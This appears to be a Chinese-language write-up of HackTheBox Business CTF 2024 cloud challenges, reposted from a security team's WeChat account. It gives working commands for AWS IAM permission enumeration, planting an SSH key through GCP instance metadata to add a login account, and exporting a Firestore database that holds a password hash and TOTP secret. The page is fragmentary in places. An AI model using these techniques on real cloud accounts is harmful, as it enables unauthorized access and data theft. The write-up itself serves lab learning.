Background
本篇文章和官方 wp 并不冲突,主讲亲身经历,建议配合使用。
Key Points
我们从难度最低的挑战开始梳理。
-
[Very Easy] Scurried
[Very Easy] Scurried
2. [Easy] Protrude
-
Enumerate-IAM -
BF-AWS-Permissions
KeyPoint: 这类枚举的原理并不单单是简单的尝试访问 API。
其本质是通常对于一个 API 设计来说,采用多个中间层、实际业务处理、返回包装这样的设计进行处理。而其中中间层,主要负责转发请求、完成鉴权等等辅助功能,并且一层一层的向后传递包和信息到实际业务执行或操作执行处。
ds.describe_directories()
的权限,查一下就是 directory service 目录服务。通常来说当一个 AK 对某个特定服务具有某些权限时,一般会同时拥有其他相关权限。所以这里就从 ds 目录服务开始看。aws workdocs describe-activities --organization-id d-9067e0513b
aws workdocs get-document --document-id 77c4bd695e891b73b67f8c6c11df9baa76b47a2f0fe837ef201f34f5de0fb3e3
"ResourceMetadata": {
"Type": "document",
"Name": "flag.txt",
"Id": "5347a27512a4f5a1c0ed4b7e965210deecbb6b806a23034ce799614ca32a8303",
"Owner": {
"Id": "S-1-5-21-1692074632-1250882497-497425265-500&d-9067e0513b"
}
}
"ResourceMetadata": {
"Type": "document",
"Name": "flag.txt",
"Id": "77c4bd695e891b73b67f8c6c11df9baa76b47a2f0fe837ef201f34f5de0fb3e3",
"Owner": {
"Id": "S-1-5-21-1692074632-1250882497-497425265-500&d-9067e0513b"
}
}
HTB{AWS_WORKDOCS_CAN_HAVE_USEFUL_STUFF}
这是未修复之前的 flag。3. [Easy] MetaRooted
# define the new account username
NEWUSER="definitelynotahacker"
# create a key
ssh-keygen -t rsa -C "$NEWUSER" -f ./key -P ""
# create the input meta file
NEWKEY="$(cat ./key.pub)"
echo "$NEWUSER:$NEWKEY" > ./meta.txt
# update the instance metadata
gcloud compute instances add-metadata vault-instance --zone us-central1-a --metadata-from-file ssh-keys=meta.txt
# ssh to the new account
ssh -i ./key "$NEWUSER"@34.132.25.162
us-central1-a
要不然会在 gcloud 自己枚举可用区的时候暴毙。gcloud projects get-iam-policy ctfs-417807
你可以越权得到
bindings:
- members:
- serviceAccount:vault-27@ctfs-417807.iam.gserviceaccount.com
role: projects/ctfs-417807/roles/VaultManager
- members:
- serviceAccount:service-298988677029@gcp-sa-cloudscheduler.iam.gserviceaccount.com
role: roles/cloudscheduler.serviceAgent
- members:
- serviceAccount:service-298988677029@compute-system.iam.gserviceaccount.com
role: roles/compute.serviceAgent
- members:
- serviceAccount:298988677029[email protected]
- serviceAccount:298988677029@cloudservices.gserviceaccount.com
role: roles/editor
- members:
- serviceAccount:firestore@ctfs-417807.iam.gserviceaccount.com
role: roles/firebase.viewer
- members:
- serviceAccount:service-298988677029@firebase-rules.iam.gserviceaccount.com
role: roles/firebaserules.system
- members:
- serviceAccount:service-298988677029@gcp-sa-firestore.iam.gserviceaccount.com
role: roles/firestore.serviceAgent
- members:
- user:[email protected]
- user:[email protected]
- user:[email protected]
- user:[email protected]
- user:[email protected]
role: roles/owner
- members:
- user:[email protected]
role: roles/resourcemanager.organizationAdmin
- members:
- serviceAccount:storage@ctfs-417807.iam.gserviceaccount.com
role: roles/secretmanager.secretAccessor
- members:
- serviceAccount:storage@ctfs-417807.iam.gserviceaccount.com
role: roles/secretmanager.viewer
etag: BwYYybN4iYQ=
version: 1
4. [Medium] CloudOfSmoke
有两种办法
-
npm install firestore-backfire @google-cloud/firestore -
npx -p node-firestore-import-export firestore-export -a ./serviceAccountKey.json -b backup.json
{"__collections__":{"vault_user_store":{"sppPjk7IpkrtQyfJ0IXC":{"password":"$2a$04$sJkZ52ZZVT/MnH6SWxRnUuC0ZRTeAn7kqMGftXghlU0qSqLGVy6.q","secret":"KZZXERL4OFNHW6TBJQ7GKIJM","username":"maximus","id":1,"__collections__":{}}}}}
5. [Insane] Asceticism
aws sts get-caller-identity
。先看看自己是谁。然后 enumerate-iam 开始枚举 IAM。发现能碰到桶子。那还是老套路。bucket + versioning。拿到 snapper 的权限,继续 aws sts get-caller-identity
+ eumerate-iam 组合拳。AWS 不是 Aliyun Web Service,而且这是比赛 不用担心 AK 被封和告警的问题。狠狠的暴力枚举就完事了。-
一个是 公网IP, 这意味着我们可以碰到它 -
一个是 这是 windows 机器,说明我们拿到 NTLM 就能碰到他。我们需要注意她的 image 来自自定义的 AMI -
这个机器绑定了 KMS 权限。
这里后来发现官方为了降低难度用的是 1G 的 snapshot 然后走的 VM 取证,拿的是 Backup 盘而不是系统盘,我这里是常规的渗透思路。
htb-biz-2024-2
End
-END-
如果本文对您有帮助,来个点赞、在看就是对我们莫大的鼓励。
推荐关注:
团队全员均持CISP-PTE(注册信息安全专业人员-渗透测试工程师)认证,积极参与着各类网络安全赛事并屡获佳绩,同时多次高水准的完成了国家级、省部级攻防演习活动以及相关重报工作,均得到甲方的一致青睐与肯定。
原文始发于微信公众号(弱口令安全实验室):HackTheBox Business CTF 2024
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论